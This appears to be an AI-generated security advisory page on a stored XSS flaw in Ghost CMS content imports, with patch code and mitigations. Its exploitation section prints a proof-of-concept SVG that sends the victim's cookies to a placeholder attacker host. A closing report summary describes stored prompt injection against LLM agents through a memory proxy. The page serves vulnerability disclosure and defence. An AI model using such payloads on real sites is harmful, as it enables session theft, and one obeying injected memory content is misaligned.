CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-105644

CVE-2026-105644: Stored Cross-Site Scripting via Malicious SVG Content Import in Ghost CMS

Amit Schendel
Amit Schendel
Senior Security Researcher

Oct 8, 2026·6 min read·14 visits

Executive Summary (TL;DR)

Ghost CMS failed to sanitize SVG files included inside bulk content imports (ZIP files). Attackers can trick administrators into importing a malicious ZIP containing crafted SVGs with embedded JavaScript, leading to stored XSS and complete CMS takeover.

A Stored Cross-Site Scripting (XSS) and Unrestricted Upload of File with Dangerous Type vulnerability in Ghost CMS (versions 4.0.0 to 6.66.x) allows remote attackers to execute arbitrary JavaScript in the context of an administrator's session. The flaw lies in the content import subsystem, which extracted and stored SVG files without sanitization or binary verification.

Vulnerability Overview

Ghost is an open-source publishing platform and Node.js content management system widely used for professional publishing. The platform exposes a content import surface that allows administrative users to upload bulk ZIP files containing site data, databases, configuration settings, and associated media assets.

From version 4.0.0 until 6.67.0, Ghost did not sanitize Scalable Vector Graphics (SVG) files included inside content archives during the data import process. Since SVG is an XML-based image format, it can embed HTML elements, JavaScript blocks via <script> tags, and execution event handlers. This creates a Stored Cross-Site Scripting (XSS) condition, classified under CWE-79 and CWE-434.

An attacker who successfully induces an administrative user to import a crafted content file can plant malicious SVG images on the victim's domain. Once stored, accessing the direct URL of these files executes the embedded JavaScript under the security origin of the website, bypassing browser-based isolation policies.

Root Cause Analysis

The root cause of CVE-2026-105644 lies in the implementation of the image importer module (ghost/core/core/server/data/importer/handlers/image.js). Prior to version 6.67.0, the handler identified and verified incoming image assets using file extension checks alone, referencing the configurations for allowed uploads.

While standard HTTP image uploads directly via the administrative panel API interface were subjected to sanitization middleware, the files extracted from bulk content imports bypassed these sanitization boundaries. There was no server-side SVG sanitization performed during the extraction phase of a content archive import.

Furthermore, the system lacked content verification mechanism such as magic byte validation to confirm that files with image extensions (such as .jpg or .png) actually corresponded to safe, non-executable content. This allowed an attacker to include an executable HTML or SVG payload disguised under an arbitrary permitted image extension, or directly use .svg and .svgz file types within the archive structure.

Code-Level Analysis

The vulnerability was fixed in commit 1be06f4e95a5eb159d14abda7660e689af13cff1 by integrating a multi-tiered file validation framework. The patch integrates a custom SVG sanitization utility (ghost/core/core/server/lib/image/svg-sanitizer.ts) which leverages jsdom and dompurify to sanitize XML elements in SVG files.

// Sanitize SVG content using DOMPurify
export function sanitizeSvgContent(content: string): string | null {
  const { JSDOM } = require('jsdom');
  const createDOMPurify = require('dompurify');
  const window = new JSDOM('').window;
  const DOMPurify = createDOMPurify(window);
 
  const sanitized = DOMPurify.sanitize(content, { USE_PROFILES: { svg: true, svgFilters: true } });
  const validSvgTag = sanitized?.match(/<svg[^>]*>\s*[\S]+[\S\s]*<\/svg>/);
  if (!sanitized || sanitized.trim() === '' || !validSvgTag) {
    return null;
  }
  return sanitized;
}

The fix also implements path validation constraints to prevent path traversal attacks or writing files to unauthorized locations, ensuring that all processing is restricted to files inside the temporary system directory (os.tmpdir()):

const resolvedPath = path.resolve(filepath);
if (!resolvedPath.startsWith(path.resolve(os.tmpdir()) + path.sep)) {
  logging.error(`Refused to sanitize SVG outside the temp directory: ${filepath}`);
  return false;
}

Additionally, the patch hardens the image-processing layer by restricting the decoders allowed in the sharp library (which uses native libvips bindings), mitigating risks associated with parser-level buffer overflows or memory safety issues.

export function restrictImageDecoders(extensions, { requireSharp }) {
  const sharp = requireSharp();
  if (!sharp) return;
  sharp.block({ operation: ['VipsForeignLoad'] });
  sharp.unblock({ operation: getAllowedImageLoaders(extensions) });
}

Exploitation Methodology

Exploitation of CVE-2026-105644 requires user interaction from an administrative user of the Ghost CMS instance. An attacker must first construct a malicious SVG file containing standard script execution blocks or event-driven handlers that reference the target action.

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" />
  <script type="text/javascript">
    fetch('https://attacker.controlled.server/steal?cookie=' + document.cookie);
  </script>
</svg>

The attacker packages the malicious file into a ZIP archive matching the folder structure expected by the Ghost database importer. The ZIP archive is structured with a root directory containing a posts.csv metadata file and a sub-folder path such as content/images/avatar.svg.

Once the archive is prepared, the attacker must utilize social engineering or other vectors to convince an authorized administrator of the target Ghost instance to navigate to /ghost/#/settings/labs and perform a content import. Once imported, the SVG file is written to the persistent file system at /content/images/avatar.svg. The attacker can then trigger the stored script execution whenever an active administrative session accesses the resource URL directly.

Impact Assessment

The security impact of CVE-2026-105644 is substantial due to the context of the execution origin. When an SVG file is accessed directly from the host static asset path, the web browser parses and executes the embedded script within the domain origin of the Ghost CMS installation.

Because the script runs in the context of an authenticated session, the attacker can hijack administrative cookies, capture active session tokens, and bypass Cross-Site Request Forgery (CSRF) protections. This allows the attacker to execute administrative commands, such as adding new administrative users, modifying existing post content, or altering platform configurations.

The CVSS v3.1 base score is calculated at 6.8 (Medium), with a high complexity (AC:H) because exploitation depends on convincing an administrative user to import a malicious ZIP file. However, should an administrator execute the import, the confidentiality and integrity impact is high, leading to complete compromise of the content management platform.

Remediation & Hardening

The primary mitigation for this vulnerability is upgrading the Ghost CMS installation to version 6.67.0 or higher, which incorporates the server-side sanitization, magic byte checks, and native decoder constraints.

If immediate upgrading is not possible, administrators should deploy external protective controls. Deploying a Content Security Policy (CSP) header on the web server or reverse proxy (e.g., Nginx) that targets the asset directory /content/images/ is recommended. This policy should disable script execution for SVG content.

Content-Security-Policy: default-src 'none'; frame-ancestors 'none';

Additionally, administrators can mitigate the risk of origin-based exploitation by hosting static assets on a completely separate domain (e.g., ghostassets.com instead of the primary domain). This ensures that any script execution triggered by accessing a direct SVG file link is sandboxed away from the core administrative API.

Fix Analysis (1)

Technical Appendix

CVSS Score
6.8/ 10
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N
EPSS Probability
0.32%
Top 77% most exploited

Affected Systems

Ghost Content Management System (CMS)

Affected Versions Detail

Product
Affected Versions
Fixed Version
Ghost
TryGhost
>= 4.0.0, < 6.67.06.67.0
AttributeDetail
CWE IDCWE-79, CWE-434
Attack VectorNetwork
CVSS Score6.8 (Medium)
EPSS Score0.0032 (0.32%)
ImpactStored XSS / Session Hijacking
Exploit StatusProof of Concept (PoC)
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1185Browser Session Hijacking
Collection
T1105Ingress Tool Transfer
Command and Control
T1059Command and Scripting Interpreter
Execution
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

References & Sources

  • [1]GHSA-hqq2-xqr2-fmx2 Security Advisory
  • [2]Fix Commit
  • [3]Pull Request #31060
  • [4]Ghost Release Tag v6.66.0
  • [5]NVD CVE Entry

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 18 hours ago•CVE-2026-58254
6.5

CVE-2026-58254: Authorization Bypass in NATS Server Message Tracing for Leaf Node Connections

NATS Server prior to versions 2.12.8 and 2.14.3 contains an incorrect authorization vulnerability (CWE-863) in its message tracing subsystem. When evaluating whether a connection is permitted to publish trace events to a destination subject specified in the Nats-Trace-Dest header, the server only checks standard client permissions and omits permission checks for leaf node connections. This allows a connected leaf node operator with restricted publishing privileges to emit internal trace events to unauthorized subjects and suppress standard message delivery using the Nats-Trace-Only header.

Alon Barad
Alon Barad
4 views•10 min read
•about 19 hours ago•CVE-2026-63341
7.5

CVE-2026-63341: Unauthenticated Denial of Service via Unbounded Topic Depth in Aedes MQTT Broker

CVE-2026-63341 is a high-severity Denial of Service (DoS) vulnerability in the Aedes MQTT broker for Node.js affecting all versions prior to 1.1.1. The flaw stems from missing input validation on the hierarchical depth of incoming MQTT topic strings before they are passed to the underlying topic-matching engine, qlobber. Because qlobber enforces a hardcoded limit of 100 topic levels and throws a synchronous exception when this threshold is exceeded, an attacker can send a single MQTT packet containing 101 or more forward-slash-separated levels to trigger an uncaught exception that immediately terminates the Node.js broker process.

Alon Barad
Alon Barad
6 views•12 min read
•about 20 hours ago•CVE-2026-61725
6.1

CVE-2026-61725: Path Traversal and Arbitrary File Overwrite in sevenz-rust2

CVE-2026-61725 is a path traversal vulnerability (CWE-22) in the sevenz-rust2 Cargo package prior to version 0.21.1. The vulnerability occurs because the decompression utility fails to validate or sanitize archive entry filenames before joining them with the destination directory path via std::path::Path::join. An attacker who supplies a crafted 7z archive containing parent directory traversal sequences or absolute paths can write or overwrite arbitrary files on the host filesystem with the privileges of the extracting process.

Alon Barad
Alon Barad
5 views•12 min read
•about 21 hours ago•CVE-2026-77309
8.8

CVE-2026-77309: Unauthenticated Remote Code Execution in NASA-AMMOS AIT-GUI via Incomplete File Cleanup and Path Traversal

CVE-2026-77309 (GHSA-jrjx-9jjw-747m) is a high-severity unauthenticated remote code execution vulnerability affecting NASA-AMMOS AIT-GUI versions 1.0.0 through 2.5.0. The flaw results from chaining an incomplete file cleanup error in the telemetry query endpoint (/tlm/query) with a directory traversal flaw in the script execution endpoint (/script/run). An attacker on an adjacent network can stage arbitrary Python statements into a static file on disk and execute that file under the privileges of the AIT-GUI web server process.

Amit Schendel
Amit Schendel
10 views•10 min read
•about 22 hours ago•CVE-2026-77332
2.3

CVE-2026-77332: Surfaced-Memory Envelope Injection and Stored Prompt Injection in memtomem-stm

A vulnerability classified under CWE-116 (Improper Encoding or Escaping of Output) exists in memtomem-stm versions 0.1.0 through 0.1.33. The software acts as a Model Context Protocol (MCP) short-term memory proxy gateway for AI agent architectures. When surfacing retrieved memories and scratchpad items into downstream Large Language Model (LLM) context envelopes, the SurfacingFormatter component fails to properly sanitize untrusted memory attributes. An attacker with the ability to plant untrusted content into the agent's long-term or working memory store can inject arbitrary structural delimiters, close the <surfaced-memories> XML boundary prematurely, visually obscure instructions using Unicode bidirectional overrides, and execute stored prompt injection attacks against downstream LLM agents.

Alon Barad
Alon Barad
12 views•10 min read
•about 23 hours ago•CVE-2026-77331
2.0

CVE-2026-77331: Race Condition and Session State Corruption in memtomem-stm

CVE-2026-77331 (GHSA-72jh-722p-rqr3) is a concurrency and session-state synchronization vulnerability in memtomem-stm, a short-term memory proxy gateway for AI agents. In versions 0.1.2 prior to 0.1.34, concurrent Model Context Protocol (MCP) Remote Procedure Call (RPC) failures or mid-flight task cancellations can initiate duplicate reconnect loops and permit dirty or cancelled transport sessions to be reused. This deficiency results in session-state integrity loss and local service degradation.

Amit Schendel
Amit Schendel
6 views•9 min read